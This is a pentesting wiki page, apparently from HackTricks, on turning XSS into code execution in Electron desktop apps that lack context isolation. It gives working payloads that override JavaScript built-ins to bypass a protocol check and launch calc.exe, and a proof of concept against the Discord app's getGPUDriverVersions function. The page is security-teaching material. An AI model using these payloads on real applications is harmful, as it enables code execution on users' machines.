hacktricks/pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
2022-04-28 01:02:01 +00:00

3.6 KiB

Electron contextIsolation RCE via preload code

Example 1

Example from https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

This code open http(s) links with default browser:

Something like file:///C:/Windows/systemd32/calc.exe could be used to execute a calc, the SAFE_PROTOCOLS.indexOf is preventing it.

Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:

<script>
Array.prototype.indexOf = function(){
    return 1337;
}
</script>

As the call to SAFE_PROTOCOLS.indexOf will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:

<script>
Array.prototype.indexOf = function(){
    return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Check the original slides for other ways to execute programs without having a prompt asking for permissions.

Apparently another way to load and execute code is to access something like file://127.0.0.1/electron/rce.jar

Example 2: Discord App RCE

Example from https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page.
Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

The getGPUDriverVersions function tries to execute the program by using the "execa" library, like the following:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

Usually the execa tries to execute "nvidia-smi.exe", which is specified in the nvidiaSmiPath variable, however, due to the overridden RegExp.prototype.test and Array.prototype.join, the argument is replaced to "calc" in the execa's internal processing.

Specifically, the argument is replaced by changing the following two parts.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55